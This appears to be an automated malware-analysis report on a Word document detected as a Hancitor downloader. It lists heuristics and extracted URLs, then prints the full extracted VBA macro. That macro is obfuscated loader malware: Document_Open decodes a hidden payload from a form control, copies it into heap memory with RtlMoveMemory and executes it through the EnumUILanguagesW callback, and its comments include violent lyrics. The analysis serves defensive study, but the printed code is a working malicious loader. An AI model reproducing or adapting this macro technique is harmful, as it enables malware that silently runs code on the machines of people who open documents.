MALICIOUS
90
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Office document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic and the presence of the macros.bas script. The Document_Open macro is present, suggesting it executes upon opening. While the script is heavily obfuscated, the presence of a downloader macro and the ClamAV detection (Doc.Downloader.Hancitor-7051699-0) strongly suggest its purpose is to download and execute a secondary payload. The benign URLs extracted do not provide further IOCs.
Heuristics 4
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ClamAV: Doc.Downloader.Hancitor-7051699-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Hancitor-7051699-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Dim dallas As Integer -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13274 bytes |
SHA-256: cc5d3efb6fcbed5ceaf90a68ccca0c46eca9e87e8d548cbf72de315ae171edce |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim borrower
Dim asclepiadaceous
Dim anode
Dim aditi
Dim detrusion As Long
Dim appeach As String
Sub HeaderObjectSetup()
Dim nText As String
nHeaderText = "Nije presa"
With ActiveDocument.Sections(1)
.Headers(wdHeaderFooterPrimary).Range.Text = nHeaderText
End With
End Sub
Private Sub Document_Open()
Dim dallas As Integer
Dim mortal As Long
millwheel = "exclude"
aneurysm = LCase$("DISq") & UCase$("UaLIfiCaTIon")
ferial
chancroid = 99
legato = 60
If chancroid + legato < 29 Then
chancroid = UCase$("LE") & UCase$("EcHeS")
aditi = aditi * 4
stupefying = UCase$("ch") & "emilu" & "minescence"
Else
anode = "operate"
legato = 40
End If
End Sub
Sub ferial()
Dim illboding As Integer
Dim streptopelia As Variant
pointsman = euphonium.unilateralist.ControlTipText
distensible = missouri.debasement(pointsman)
cerebral = 2
While cerebral < 5
cerebral = cerebral + 1
borrower = "gentry"
Wend
punt = "pellucidness"
parisienne = "confabulation"
#If Win64 Then
Dim overblown As Byte
Dim preferment As dolichocephalic
Dim cable As LongPtr
preferment.header = 0
Dim cockfighting As String
#Else
Dim egotism As Variant
preferment = 0
Dim tribuneship As Variant
Dim cable As Long
#End If
pranks = 223 - 223
garbage = "arma"
indeterminably = 4096
refiner = 87
amberboa = 93
If refiner + amberboa < 39 Then
refiner = Left("bibenolin", 2) & Right$("pathlessrthright", 8)
detrusion = detrusion And 153
grantinaid = Left("crinovelette", 3) & Mid("cephalopterusminalbandy", 14, 5) & "ity"
Else
anode = "brae"
amberboa = 62
End If
Address = 167 + 261977
danaea = africanamerican(Address, preferment, preferment)
cable = lovrinac(danaea)
ahariolation = "incircumspect"
highlow = "har" & LCase$("mlESsly")
Dim demonstrable As String
whoosh = "qs"
demonstrable = sensitiveness
slaughterhouse = 7
While slaughterhouse < 11
slaughterhouse = slaughterhouse + 1
asclepiadaceous = "tobbaconist"
Wend
cursorily = distensible
onepan = Mid("disorderedchcatadupe", 11, 2) & Mid("adulteressompinonvolatile", 11, 4) & LCase$("ng")
marquetry = "butane"
gaucho cable, cursorily
canaanitic = UCase$("pRo") & Mid("pistoleercrustcrescendo", 10, 5) & Left("esbandurria", 2)
gryllidae = "curvation"
#If Win64 Then
Dim degenerateness As Long
davus = "confirmed"
tetrachloride = "metamorphose"
adeptness = 47 + 529
#ElseIf (Win32) Then
bodywork = "beat"
mere = "acuteness"
unpermed = 7 + 499
adeptness = unpermed + 1698
#End If
Dim lugsail As Byte
Dim forage As Integer
Dim loquaciousness As Long
loquaciousness = 0
Dim midipyrenees As Long
midipyrenees = cable + adeptness
bey = abysmal(midipyrenees, loquaciousness, demonstrable)
cottus = 82
hebetude = 57
If cottus + hebetude < 39 Then
cottus = Mid("ninevehautarrowhead", 8, 3) & Left("ochthonescarolinian", 9)
borrower = "paces"
swim = Left("assopisthognathous", 3) & "evera" & Left("techemistry", 2)
Else
appeach = appeach
hebetude = 51
End If
End Sub
Function lovrinac(pam)
lovrinac = eldorado(pam, 0, 3299)
End Function
Function sensitiveness()
Dim scoot As Variant
Dim salebrous As Byte
pholas = 96
receiving = 55
If pholas + receiving < 9 Then
pholas = Right$("undersizeac", 2) & "cord"
anode = anode
shirking = Right$("bitternbl", 2) & LCase$("EBbe") & Left("dflatworm", 1)
Else
detrusion = detrusion And 160
receiving = 49
End If
hamburg = ThisDocument.Path
sensitiveness = hamburg & "/" & ThisDocument.Name
End Function
Function gaucho(urocyon, altitudinous)
Dim hock As Integer
Dim fleeting As Long
detrusion = aditi And 249
Dim bifurcated As String
Dim sporaceous As Long
Dim batta As Byte
Dim brightness As Variant
Dim bellicose As Long
crossness sporaceous, ByVal VarPtr(altitudinous) + 8, 4
anode = "smiles"
bellicose = urocyon
For korean = 49 To 65
cerulean = 65
detrusion = aditi \ 398
echinodermata = Mid("mylodoncoderogative", 8, 2) & Left("unterintelligencephilister", 17)
echinodermata = Mid("aborigineorbursera", 10, 2) & Mid("mitadganitideway", 6, 4) & Mid("visasmconstitutionality", 5, 2)
Next korean
crossness ByVal bellicose, ByVal sporaceous, 3299
aditi = aditi - 279
End Function
Attribute VB_Name = "missouri"
'I can't deal with your lies
'Life has always been a problem
#If Win64 Then
'And take my time
'Nothing is real and dies in the lies
Public Type dolichocephalic
'I don't fit in
'Life has always been a problem
header As LongPtr
'Life is gone
'And take my time
End Type
'I won't deal with your lies
'I lost my mind
Public Declare PtrSafe Function adventitious Lib "user32" Alias "GetDC" (ByVal carnal As LongPtr) As LongPtr
'Let it all go and in time you will find
'Can't you see?
Public Declare PtrSafe Function orzo Lib "kernel32" Alias "GetModuleHandle" (lpModuleName As LongPtr)
'People have said
'I don't fit in
Public Declare PtrSafe Function hyperborean Lib "kernel32" Alias "TlsAlloc" () As LongPtr
'People have said
'I can't escape
Public Declare PtrSafe Function hinan Lib "kernel32" Alias "RemoveDirectoryA" (callithricidae As LongPtr)
'I wish I could watch you drown and die
'I wish I could watch you drown and die
Public Declare PtrSafe Function africanamerican Lib "kernel32" Alias "HeapCreate" (ByVal empires As LongPtr,incinerate As dolichocephalic, nonsubsistence As dolichocephalic) As LongPtr
'Numb me 'til I won't feel pain again
'Life is gone
Public Declare PtrSafe Function egganddart Lib "user32" Alias "EndDialog" (ByVal attenuated As LongPtr,nResult As LongPtr) As LongPtr
'I have no one
'Life has always been a problem
Public Declare PtrSafe Function eldorado Lib "ntdll" Alias "RtlAllocateHeap" (ByVal profluence As LongPtr, ByVal taylor As LongPtr, ByVal befogged As LongPtr) As LongPtr
'Let it all go and in time you will find
'The pressure seems to get me down
Public Declare PtrSafe Function abysmal Lib "kernel32" Alias "EnumUILanguagesW" (ByVal lpEnumFunc As Any, ByVal flags As Any, lParam As Any) As LongPtr
'Fuck all the shit that you hold in your mind
'Life has always been a problem
Public Declare PtrSafe Sub crossness Lib "ntdll" Alias "RtlMoveMemory" (checquers As Any, palliament As Any, ByVal dignitatem As LongPtr)
'Life has always been a problem
'And take my time
'Can't you see
'And take my time
#Else
'Poisons me with time
'I wish I could watch you drown and die
Public Declare Sub crossness Lib "ntdll" Alias "RtlMoveMemory" (analeptic As Any, buna As Any, ByVal acknowledgeable As Long)
'I wish I could watch you drown and die
'It's like a needle in my spine
Public Declare Function blase Lib "user32" Alias "GetDC" (arctotis As Long) As Long
'And take my time
'I'm not okay
Public Declare Function eldorado Lib "ntdll" Alias "RtlAllocateHeap" (ByVal acrocarpous As Long, ByVal astonished As Long, ByVal murmur As Long) As Long
'I'm not okay
'I wish I could watch you drown and die
Public Declare Function abysmal Lib "kernel32" Alias "EnumUILanguagesW" (ByVal lpEnumFunc As Any, ByVal ricin As Any, lParam As Any) As Long
'It's like a needle in my spine
'Life has always been a problem
Public Declare Function preservative Lib "user32" Alias "EndDialog" (ByVal lancinate As Long, determent As Long) As Long
'I have no one
'It stings inside
Public Declare Function ascomycota Lib "kernel32" Alias "RemoveDirectoryA" (nepotist As Long)
'I don't fit in
'Life has always been a problem
Public Declare Function thrill Lib "kernel32" Alias "GetModuleHandle" (lpModuleName As Long)
'I don't fit in
'Fuck all the shit that you hold in your mind
Public Declare Function africanamerican Lib "kernel32" Alias "HeapCreate" (ByVal pundit As Long, ByVal transportation As Long, ByVal unenslaved As Long) As Long
'I don't fit in
'Poisons me with time
Public Declare Function anointment Lib "kernel32" Alias "TlsAlloc" () As Long
'I have no one
'Life is gone
'I wish I could watch you drown and die
'I don't fit in
#End If
'Poisons me with time
'Life is gone
Function rusticate(akin, jordan)
rusticate = akin * jordan
End Function
Function lamaist(discreteness, borated)
lamaist = discreteness \ borated
End Function
Function diadophis(preparedness, knothole)
diadophis = preparedness And knothole
End Function
Sub FormatTables()
Dim oTabl As Table
For Each oTabl In ActiveDocument.Tables
Select Case oTabl.Style
Case "Light Shading - Accent 4"
oTabl.AutoFitBehavior (wdAutoFitFixed)
oTabl.Rows.Alignment = wdAlignRowCenter
oTabl.Columns.PreferredWidth = InchesToPoints(0.6)
Case "Medium List 2 - Accent 4"
oTabl.AutoFitBehavior (wdAutoFitWindow)
oTabl.Rows.Alignment = wdAlignRowLeft
Case Else
oTabl.Style = "Medium List 1 - Accent 4"
End Select
Next oTabl
End Sub
Function debasement(rembrandtesque) As String
Dim dislocate As Integer
Dim ampullar As Long
Dim london(63) As Long
detrusion = aditi \ 433
Dim leap(63) As Long
Dim gle As Long
Dim cataplasm As Long
Dim arbitrariness As String
appeach = appeach
Dim discumbency As Long
Dim fertilized As Long
Dim volva As Variant
Dim misology As Long
Dim merchant() As Byte
Dim catharsis(255) As Byte
Dim admiral() As Byte
Dim arrogantly(63) As Long
triskaidekaphobia = 512 - 449
electrotherapist = 4032
Dim refulgence As Variant
navicular = 258048
extispicy = 120 - 56
lightsomeness = 256
icebox = 4096
eg = 337 + 65199
crystallization = 77 + 65203
hierarchy = 16515072
Dim ninny As Long
thoth = 149 + 106
peasant = 210 + 261934
Dim ecce As String
sunny = 16711680
Dim diagnosis As Long
Dim eon() As Byte
ReDim eon(4287)
haggardly = 61 + 4227
For i = 1 To haggardly
albuminuric = Mid(rembrandtesque, i, 1)
antagonizing = (Asc(albuminuric))
maxillaria = "patefaction"
vulnerable = "anarchistic"
eon(i - 1) = antagonizing
Next
Dim canonize As Byte
For cedarn = 27 To 56
inopioe = 56
borrower = "mortuis"
mummy = UCase$("Sa") & Right$("puebloguntum", 6)
mummy = Right$("selenicereusbo", 2) & Right$("redactionttes", 4)
Next cedarn
penmen = UBound(eon)
extension = 35
For metamere = 0 To penmen
eon(metamere) = eon(metamere) + 2
Next metamere
custacean = 10
While custacean < 14
gemmation = Right$("abranchiatepa", 2) & Left("ternschonheit", 4) & LCase$("AlisM")
myotonia = "backgammon"
custacean = custacean + 1
detrusion = aditi * 1
Wend
dislocate = 0
anime = 122
blank = 377 - 122
For ampullar = 0 To blank
Select Case ampullar
Case 65 To 90
catharsis(ampullar) = ampullar - 65
Case 97 To anime
catharsis(ampullar) = ampullar - 71
Case 48 To 57
catharsis(ampullar) = ampullar + 4
Case 43
catharsis(ampullar) = 62
Case 47
catharsis(ampullar) = 63
End Select
Next ampullar
For ampullar = 0 To 63
arrogantly(ampullar) = rusticate(ampullar, extispicy)
london(ampullar) = rusticate(ampullar, icebox)
leap(ampullar) = rusticate(ampullar, peasant)
Next ampullar
liriope = 7
While liriope < 11
snapshot = "profluence"
costerman = "galantuomo"
liriope = liriope + 1
appeach = "alienum"
Wend
admiral = eon
alcoran = 4
ReDim merchant((((UBound(admiral) + 1) \ alcoran) * 3) - 1)
whilst = 93
scholarship = 98
If whilst + scholarship < 27 Then
whilst = Left("beoutstation", 2) & Left("smearhincodontidae", 4) & LCase$("r")
detrusion = aditi * 1
enchymatous = LCase$("mO") & Right$("biotiticnste", 4) & Right$("bernr", 1)
Else
detrusion = detrusion \ 127
scholarship = 39
End If
missay = 3
asclepiadaceous = asclepiadaceous
detrusion = detrusion And 172
idolatry = missay + 1
collectively = 2
For fertilized = 0 To UBound(admiral) Step idolatry
infamy = admiral(fertilized)
cataplasm = leap(catharsis(infamy)) _
+ london(catharsis(admiral(fertilized + 1))) + arrogantly(catharsis(admiral(fertilized + 2))) + catharsis(admiral(fertilized + missay))
ampullar = diadophis(cataplasm, sunny)
merchant(discumbency) = lamaist(ampullar, eg)
ampullar = diadophis(cataplasm, crystallization)
merchant(discumbency + 1) = lamaist(ampullar, lightsomeness)
merchant(discumbency + collectively) = diadophis(cataplasm, thoth)
discumbency = discumbency + collectively + 1
Next fertilized
debasement = merchant
End Function
Attribute VB_Name = "euphonium"
Attribute VB_Base = "0{533F6937-932E-4B77-A83F-A72CE37C5C6E}{E3A17BBD-500D-45A9-8407-44B13A27DD85}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "disconsolateness"
Attribute VB_Base = "0{19550297-D923-4E9F-A466-DDFCF23686F2}{E9A5762E-E028-489B-B0FE-743DA621682B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
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